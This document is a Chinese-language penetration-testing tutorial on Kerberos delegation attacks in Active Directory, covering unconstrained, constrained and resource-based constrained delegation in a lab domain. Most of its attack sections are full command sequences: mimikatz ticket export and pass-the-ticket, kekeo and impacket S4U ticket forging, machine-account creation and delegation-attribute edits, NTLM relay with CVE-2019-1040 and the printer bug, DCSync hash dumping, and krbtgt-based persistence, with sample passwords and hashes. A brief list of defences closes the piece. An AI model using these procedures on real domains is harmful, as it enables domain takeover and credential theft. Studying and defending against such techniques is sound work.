域渗透之委派攻击全集
声明
出品|先知社区(ID:永安寺)
以下内容,来自先知社区的永安寺作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。
域委派是什么
是将域用户的权限委派给服务账号,委派之后,服务账号就可以以域用户的身份去做域用户能够做的事
注意:能够被委派的用户只能是服务账号或者机器账号
1、机器账户:活动目录中的computers组内的计算机,也被称为机器账号。
2、服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等,还有就是域用户通过注册SPN也能成为服务账号。
服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。就比如 SQL Server在安装时,会在域内自动注册服务账号SqlServiceAccount,这类账号不能用于交互式登录。
委派的分类
非约束委派(Unconstrained Delegation, UD)
约束委派(Constrained Delegation, CD)
基于资源的约束委派(Resource Based Constrained Delegation, RBCD)
非约束委派
通俗来讲就是 :
在域中如果出现A使用Kerberos身份验证访问域中的服务B,而B再利用A的身份去请求域中的服务C,这个过程就可以理解为委派
一个经典例子:参考Y4er
jack需要登录到后台文件服务器,经过Kerberos认证的过程如下:
jack以Kerberos协议认证登录,将凭证发送给websvc
websvc使用jack的凭证向KDC发起Kerberos申请TGT。
KDC检查websvc的委派属性,如果websvc可以委派,则返回可转发的jack的TGT。
websvc收到可转发TGT之后,使用该TGT向KDC申请可以访问后台文件服务器的TGS票据。
KDC检查websvc的委派属性,如果可以委派,并且权限允许,那么返回jack访问服务的TGS票据。
websvc使用jack的服务TGS票据请求后台文件服务器。
这里就相当于说 jack 登录到web服务器后 访问后台文件服务器 是没有权限的 后台服务器以为是websvc在访问它,但如果websvc设置了委派 就可以以jack的身份去访问后台这样 就有权限访问 这个时候websvc也可以使用jack的身份访问其他jack有权限访问的服务
实验环境
WIN2016 域控 hostname:
DC ip:10.150.127.166
win2016 域机器 hostname:
WEB ip:10.150.127.168
域用户 many asd123!
设置非约束性委派
机器账户的非约束性委派设置
服务账户的非约束委派设置
many是普通域用户 默认是没有委派设置的
给域用户注册SPN
命令setspn -U -A priv/test many
在域控上执行
然后查看many用户
已经有了委派属性然后设置为非约束委派
查询域内设置了非约束委派的服务账户
在WEB上执行
命令:
AdFind.exe -b "DC=haishi,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
查询域内设置了非约束委派的机器账户
命令:
AdFind.exe -b "DC=haishi,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
域内域控机器账户默认设置了非约束委派
利用方式1
使域管理员访问被控机器,找到配置了非约束委派的机器(机器账户) 并且获取了其管理员权限
这里利用WEB演示,直接用administrator登录,把mimikatz传上去,先查看本地票据
命令:
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
使用域控访问WEB
在域控上执行
命令:
net use \\web.haishi.com
然后回到WEB 重新导出票据
有admin的
拒绝访问
导入票据
mimikatz.exe "kerberos::ptt [0;36eb98]-2-0-60a10000-Administrator@krbtgt-HAISHI.COM.kirbi" "exit"
再次访问
成功访问到
清除缓存
利用方式2
利用打印机漏洞
强迫运行打印服务(Print Spooler)的主机向目标主机发起 Kerberos 或 NTLM 认证请求。
条件:
administrator权限
域用户的账户密码
域控开启打印机
工具
https://github.com/leechristensen/SpoolSample/ 自己编译
mimikatz
需要使用域用户运行SpoolSample
runas /user:haishi.com\many powershell 打开一个域用户权限的powershell
然后在many的powershell运行
然后导出票据
然后和上面一样 导入票据
命令
mimikatz.exe "kerberos::ptt [0;af1f8]-0-0-60a50000-DC$@cifs-dc.haishi.com.kirbi" "exit"
然后导出hash
lsadump::dcsync /domain:haishi.com /user:haishi\Administrator
然后利用wmiexec.py远程登录
python3 wmiexec.py -hashes :fb4f3a0d0b8c4d81d72d36b925dbed6c haishi.com/administrator@10.150.127.166 -no-pass
这里用的工具包impacket(github自行下载)
然后清除票据
但其实在实战中 很少遇到这种情况
约束性委派
由于非约束委派的不安全性,微软在windows2003中发布了约束委派的功能,如下所示
在约束委派中的kerberos中,用户同样还是会将TGT发送给相关受委派的服务,但是由于S4U2proxy的影响,对发送给受委派的服务去访问其他服务做了限制,不允许受委派的服务代表用户使用这个TGT去访问任意服务,而是只能访问指定的服务。
引入了两个新的概念
S4U2Self和S4U2Proxy
S4U2self
允许受约束委派的服务代表任意用户向KDC请求服务自身,从而获得一张该用户(任意用户)的对当前受约束委派服务的票据TGS(ST),该服务票据TGS(ST)包含了用户的相关信息,比如该用户的组信息等。
S4U2proxy
允许受约束委派的服务通过服务票据ST,然后代表用户去请求指定的服务。
大概过程:
具体的原理介绍就不详细说明了 可自行百度
直接实验
配置约束性委派
机器账户
这里配置一个能进行协议转换的
服务账户
因为上面注册了SPN 这里就不注册了 直接使用
查询机器用户(主机)配置约束委派
AdFind.exe -b "DC=haishi,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
查询服务账户
AdFind.exe -b “DC=haishi,DC=com” -f “(&(samAccountType=805306368)(msds-allowedtodelegateto=*))” msds-allowedtodelegateto
利用方式1
使用机器账户WEB
条件
administrator权限
获取配置了约束委派的服务账户或者机器账户的凭据 明文密码 hash都可
先拿到WEB的票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
使用kekeo申请服务票据
kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-2-40e10000-WEB$@krbtgt-HAISHI.COM.kirbi /user:Administrator@haishi.com /service:cifs/DC.haishi.com" "exit"
现在无法访问
导入票据
mimikatz.exe "kerberos::ptt TGS_Administrator@haishi.com@HAISHI.COM_cifs~DC.haishi.com@HAISHI.COM.kirbi" "exit"
导入之后 就能访问了
利用方式2
使用机器账户的hash
先获取机器账户的hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
请求票据
kekeo.exe "tgt::ask /user:WEB$ /domain:haishi.com /NTLM:48b1ee6132349190ee7c47d4b5d91608" "exit"
# 申请administrator权限的票据
kekeo.exe "tgs::s4u /tgt:TGT_WEB$@HAISHI.COM_krbtgt~haishi.com@HAISHI.COM.kirbi /user:Administrator@haishi.com /service:cifs/DC.haishi.com" "exit"
因为名字一样 把刚才的覆盖了
然后导入票据
mimikatz.exe "kerberos::ptt TGS_Administrator@haishi.com@HAISHI.COM_cifs~DC.haishi.com@HAISHI.COM.kirbi" "exit"
访问
# 访问
dir \\DC.haishi.com\c$
利用方式3
用机器账户的hash 远程wmiexec登录
利用之前获取到的hash
48b1ee6132349190ee7c47d4b5d91608
用getST申请服务票据
python3 getST.py -dc-ip 10.150.127.166 -spn CIFS/DC.haishi.com -impersonate administrator haishi.com/WEB$ -hashes :48b1ee6132349190ee7c47d4b5d91608
然后导入票据
export KRB5CCNAME=administrator.ccachepython3 wmiexec.py -k haishi.com/administrator@DC.haishi.com -no-pass -dc-ip 10.150.127.166
这里有个小tips
需要将域名加入到hosts
不然会报错
以后遇到这种错误就可能是没有将域名加入到hosts
加入之后
利用方式4
使用服务账户many
这里直接用密码
先申请tgt
kekeo.exe "tgt::ask /user:many /domain:haishi.com /password:asd123! /ticket:many.kirbi" "exit"
然后伪造其他用户 申请tgs票据
kekeo.exe "Tgs::s4u /tgt:TGT_many@HAISHI.COM_krbtgt~haishi.com@HAISHI.COM.kirbi /user:administrator@haishi.com /service:cifs/DC.haishi.com" "exit"
导入票据
mimikatz.exe "kerberos::ptt TGS_Administrator@haishi.com@HAISHI.COM_cifs~DC.haishi.com@HAISHI.COM.kirbi" "exit"
然后访问
dir \\dc.haishi.com\c$
获取到服务账户的hash
操作同前面类似 就不做演示了
但在实战中 约束性委派也遇到的很少
基于资源的约束性委派
为了使用户/资源更加独立,Windows Server 2012中引入了基于资源的约束委派。基于资源的约束委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派将委派的控制权交给拥有被访问资源的管理员。
上面”基于资源的约束委派将委派的控制权交给拥有被访问资源的管理员”,这就导致了正常只要是域用户都有权限进行委派操作。
与约束委派最大的不同点,就是”基于资源”这四个字,如何理解”基于资源”?在设置相关的约束委派的实现的时候不再需要域管理员自己去设置相关约束委派的属性,而操作权落在了当前登录的机器或者用户的手中
基于资源的约束性委派的优势
委派的权限授予给了拥有资源的后端,而不再是前端
约束性委派不能跨域进行委派,基于资源的约束性委派可以跨域和林
不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑
msDS-AllowedToActOnBehaffOtherldentity属性权限也就是将计算机加入域 的域用户和机器自身拥有权限。
约束性委派和基于资源的约束性委派配置的差别
传统的约束委派是正向的,通过修改服务A的属性msDS-AlowedToDelegateTo,添加服务B的SPN,设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B的ST服务票据。
而基于资源的约束委派则是相反的,通过修改服务B属性
msDS-AllowedToActOnBehalfOfotherldentity,添加服务A的SID,达到让服务A模拟用户访问B资源的目的。
msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户(也就是我们创建的机器账户或已知机器账户)
条件
具有对主机修改
msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限(如已经控制的主机是WEB 则具有修改WEB主机的msDS-AllowedToActOnBehalfOfOtherIdentity的权限账户)
可以创建机器账户的域用户(或已知机器账户)
什么用户能够修改
msDS-AllowedToActOnBehalfOfOtherIdentity属性:
将主机加入域的用户(账户中有一个mSDS-CreatorSID属性,用于标记加入域时使用的用户的SID值,反查就可以知道是谁把机器加入域的了)
Account Operator组成员
该主机的机器账户
什么是将机器加入域的域用户?
因为将一个机器加入域的时候不是要输入一个域用户的账户密码就是输入的这个用户
如果一个域环境 域用户A 将域内win2012 和 win7 加入了域 我们拿到了域用户A的权限 就可以拿下win2012 和 win7
如果我们拿到了Account Operators组内用户权限的话,则我们可以拿到除域控外所有机器的system权限。(因为Account Operators组内用户可以修改域内任意主机(除了域控)的msDS-AllowedToActOnBehalfOfOtherIdentity属性)
这里我为了实验因为刚开始没有用many加入域用的是域控就重新设置一下机器先脱域然后重新加入
然后委派这些也都删除
查询把WEB加入域的用户
AdFind.exe -h 10.150.127.166 -b "DC=haishi,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
当前登录的是域用户many ip是域控的166
这里可以看到一个sid:S-1-5-21-1400638014-602433399-2258725660-1146
sid2user.exe \\10.150.127.166 5 21 1400638014 602433399 2258725660 1146
可以看到 用户是many
WEB是被many加入域的
利用方式1:
基于资源的约束委派****攻击本地提权
实验环境中 如果获取到了many的权限 就可以用这个用户的权限进行本地提权了
利用many域用户创建一个机器账户(每个域用户默认可以创建10个)
然后修改WEB的
msDS-AllowedToActOnBehalfOfOtherIdentity 为新创建的机器用户的sid
然后利用机器账户申请票据 进行提权
创建机器用户
利用Powermad.ps1
创建一个test1机器用户 密码123456
powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\Powermad.ps1
New-MachineAccount -MachineAccount test1 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
这里需要注意 如果powershell设置了约束模式 则需要 bypass才能导入 这些powershell脚本
机器账户创建之后
利用powerView查询机器账户的sid(也可手动)
Get-NetComputer test1 -Properties objectsid
test1 sid:S-1-5-21-1400638014-602433399-2258725660-1148
设置委派修改WEB的
msds-allowedtoactonbehalfofotheridentity的值
利用powerView
powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1400638014-602433399-2258725660-1148)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WEB| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
查询是否修改成功
Get-DomainComputer WEB -Properties msds-allowedtoactonbehalfofotheridentity
清除 msds-allowedtoactonbehalfofotheridentity 属性的值
Set-DomainObject WEB -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
然后生成票据
python3 getST.py -dc-ip 10.150.127.166 haishi.com/test1\$:123456 -spn cifs/WEB.haishi.com -impersonate administrator
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dDhAiCiH-1661151501011)(https://mmbiz.qpic.cn/mmbiz_png/Bsj96JurMJYibGOyEpphm7fTXHXfnZnFIprCAMv4Paib6oNV9QSGJN2L144yX449usGDBXgQCRYAyUbNa7PrffTA/640?wx_fmt=png)]
导入票据
export KRB5CCNAME=administrator.ccache python3 wmiexec.py WEB.haishi.com -no-pass -k -dc-ip 10.150.127.166
这里还是需要将域名加入到hosts
psexec上去权限更高
python3 psexec.py -k haishi.com/administrator@WEB.haishi.com -no-pass
利用方式2
Acount Operators组用户拿下主机
如果获得Acount Operators组用户就可以获得域内除了域控的所有主机权限
Acount Operators组成员可以修改域内除了域控其他所有主机的
msDS-AllowedToActOnBehalfOfOtherIdentity属性
这里本地设置一个Acount Operators组用户
就还是用many 加入进去
查询Acount Operators组成员
adfind.exe -h 10.150.127.166:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=haishi,DC=com member
操作一样
先创建机器账户
powershellSet-ExecutionPolicy Bypass -Scope Processimport-module .\Powermad.ps1New-MachineAccount -MachineAccount test3 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
然后设置委派
先查sid
Get-NetComputer test1 -Properties objectsid
test3 sid:S-1-5-21-1400638014-602433399-2258725660-1152
修改WEB的
msds-allowedtoactonbehalfofotheridentity的值
powershellSet-ExecutionPolicy Bypass -Scope Processimport-module .\powerview.ps1$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1400638014-602433399-2258725660-1152)"$SDBytes = New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDBytes, 0)Get-DomainComputer WEB| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
然后生成票据
python3 getST.py -dc-ip 10.150.127.166 haishi.com/test3\$:123456 -spn cifs/WEB.haishi.com -impersonate administrator
导入票据
export KRB5CCNAME=administrator.ccache python3 wmiexec.py WEB.haishi.com -no-pass -k -dc-ip 10.150.127.166
利用方式3
结合HTLM Relay接管域控
(CVE-2019-1040)
辅助域控 win2016
DC2 10.150.127.186
还是先在WEB上创建一个机器用户 test2 123456
powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\Powermad.ps1
New-MachineAccount -MachineAccount test2 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
然后开启监听
python3 ntlmrelayx.py -t ldap://10.150.127.166 -smb2support --remove-mic --delegate-access --escalate-user test2\$
然后利用打印机漏洞
python3 printerbug.py haishi.com/many:asd123\!\@10.150.127.186 10.150.127.128
然后申请票据
python3 getST.py haishi.com/test2\$:123456 -spn CIFS/DC2.haishi.com -impersonate Administrator -dc-ip 10.150.127.166
导入
成功接管域控ntlm-relay攻击的前提是,smb认证获取的机器没有开启smb签名
cve-2019-1040 在这里的作用是绕过了mic检验 因为打印机触发的是smb协议 域控是默认带有smb签名的 而cve漏洞在这里就刚好绕过了mic的检验 然后完成了ntlm-relay攻击
利用方式4
打造变种黄金票据
在获得域控的权限后 对krbtgt用户设置委派属性来打造黄金票据进行权限维持
先创建一个机器账户test4 123456
然后来到域控上操作,在powershell中执行
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test4$Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
已经成功配置基于资源的约束委派
现在不管krbtgt的密码hash怎么变都不会影响我们打造黄金票据,申请票据
python3 getST.py haishi.com/test4\$:123456 -spn krbtgt -impersonate administrator -dc-ip 10.150.127.166
导入票据
export KRB5CCNAME=administrator.ccachepython3 smbexec.py -k administrator@DC.haishi.com -no-pass -dc-ip 10.150.127.166
域委派防范措施
高权限用户,设置为敏感用户,不能被委派
主机账号需设置委派时,只能设置为约束性委派;
Windows 2012 R2及更高的系统建立了受保护的用户组Protected Users,组内用户不允许被委派,这是有效的手段。受保护的用户组,
但有一个cve可绕过这些限制CVE-2020-1704
绕过原理就不细讲了 参考CVE-2020-17049
稳的防范 就打补丁打补丁 KB4598347
本来是想直接发环境的 但是发现有一台莫名其妙80多g 想想算了 大家自己搭吧 练练手 熟悉熟悉 - -
所用工具
链接:
https://pan.baidu.com/s/1TEtjj8hf-pmp9ZsJqikFKQ
提取码:k0pd
参考
https://www.bilibili.com/video/BV1564y1Y7HF?spm_id_from=333.999.0.0&vd_source=17131ae497e9fc1fdcbad3da526ab8a6
https://blog.csdn.net/qq_41874930/article/details/108825010
https://blog.csdn.net/nicai321/article/details/122679357
https://blog.csdn.net/qq_44159028/article/details/124118253
域渗透之委派攻击全集相关推荐
- Windows 内网渗透之委派攻击
文章目录 委派攻击 前言 非约束委派攻击 非约束委派大致流程 搭建复现 查询配置非约束委派 powerview 查询配置非约束委派 adfind查询非约束委派 非约束委派攻击案例 非约束委派& ...
- 域渗透委派攻击之约束委派
约束委派 约束委派(Constrained Delegation)即 Kerberos 的扩展协议 S4U2Proxy,服务账号只能获取某用户的 TGS ,从而只能模拟用户访问特定的服务,这也相对应非 ...
- AD域渗透 | PTHPTK哈希传递攻击手法
AD域渗透的第二篇,托更一下Kerberos协议的分析文章,等到攻击手法研究明白了,再把协议分析放上来,防止像那些理解不明不白的人写的东西一样祸害人. 发生情况 在高版本的windows server ...
- 12、强大的内网域渗透提权分析工具——BloodHound
导语:简介和背景 在今年二月,我发布了一个名为" PowerPath " 的POC脚本,它整合了Will Schroeder的PowerView和Justin Warner的本地管 ...
- 域渗透 | kerberos认证及过程中产生的攻击
前言 Windows认证一般包括本地认证(NTLM HASH)和域认证(kerberos). 认证的原理网上有很多文章.如果喜欢听视频课程的话,这里推荐倾旋师傅的分享课 https://www.bil ...
- 域渗透之基于资源的约束委派
域渗透之基于资源的约束委派 注意:server2012才引入了基于资源的约束委派!!! 无需域管设置相关属性,请求ST的过程与先前的约束委派类似,传统的约束委派S4U2Self返回的票据一定是 可转发 ...
- 域控-笔记三(非约束委派攻击,约束委派攻击)
文章目录 一. 域委派 1.1 域委派分类 1.2 使用委派条件 1.3 非约束委派原理 1.4 非约束委派流程 1.5 约束委派原理 1.6 约束委派流程 二. 委派攻击 2.1 非约束委派攻击 本 ...
- 域安全|非约束委派攻击 Exchange 2013的安装
作者: 0xYyy 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 写在前面 此文章其实可以分为两篇,只不过为了让大家更好的在本地测试的情况下,堪称保姆级别指导来安装exch ...
- Kerberos 域委派攻击之非约束性委派
CSDN文章自动迁移自博客 在Windows 2000 Server 首次发布 Active Directory 时,Microsoft 必须提供一种简单的机制来支持用户通过 Kerberos 向 W ...
最新文章
- 实现php数组编码的转换的类
- android中开启线程处理,Android线程与消息处理
- 人工智能工程师需具备的技能_2020年软件测试工程师需要具备的技能--需要学什么--面试题有哪些(灵魂拷问)...
- R-apply()函数
- win7系统更改密码策略的设置方法
- 直接修改html文本页面没变化,VUE 直接通过JS 修改html对象的值导致没有更新到数据中解决方法分析...
- WebService的知识总结(一)
- latex编译pdf winedt_XeLaTeX及WinEdt6.0入门指南资料.pdf
- plt文件怎么转化为txt文件
- 考研英语前缀总结·十五
- linux中rm件命令,Linux rm命令详解
- 微信小程序给echarts图表动态赋值
- xshell 连接报错 Disconnected from remote host
- 年薪80万技术专家,面试通过后,被发现简历造假!合并8年前多段工作,惨遭警告和淘汰!
- cl.clcl.news/index.php,公布一些后门网址
- ffpmpeg 音量_有画面无声音 · Issue #2729 · bilibili/ijkplayer · GitHub
- 【力扣刷题】剑指 Offer 40. 最小的k个数(大顶堆)
- <Zhuuu_ZZ>HIVE(终)总结大全:是兄弟就来三连我
- 第十八届全国大学生智能汽车竞赛—英飞凌芯片支持计划
- 【Python】OS 模块简介
热门文章
- 专升本英语——语法知识——高频语法——第一节 时态和语态——主动表被动【学习笔记】
- [软件测试]因果图例子
- 如何设置Office2010直接打开.doc文件
- 烟斗的全球与中国市场2022-2028年:技术、参与者、趋势、市场规模及占有率研究报告
- Android 进阶——持久化存储序列化方案Serializable和IPC及内存序列化方案Parcelable详解与应用
- Winform UI界面设计例程(一)多窗口主题搭配
- 2021年N1叉车司机及N1叉车司机模拟考试题
- 解决win10桌面鼠标一直转圈的问题
- 基于python的淘宝信息查询
- 数据分析师—岗位分析(峰池)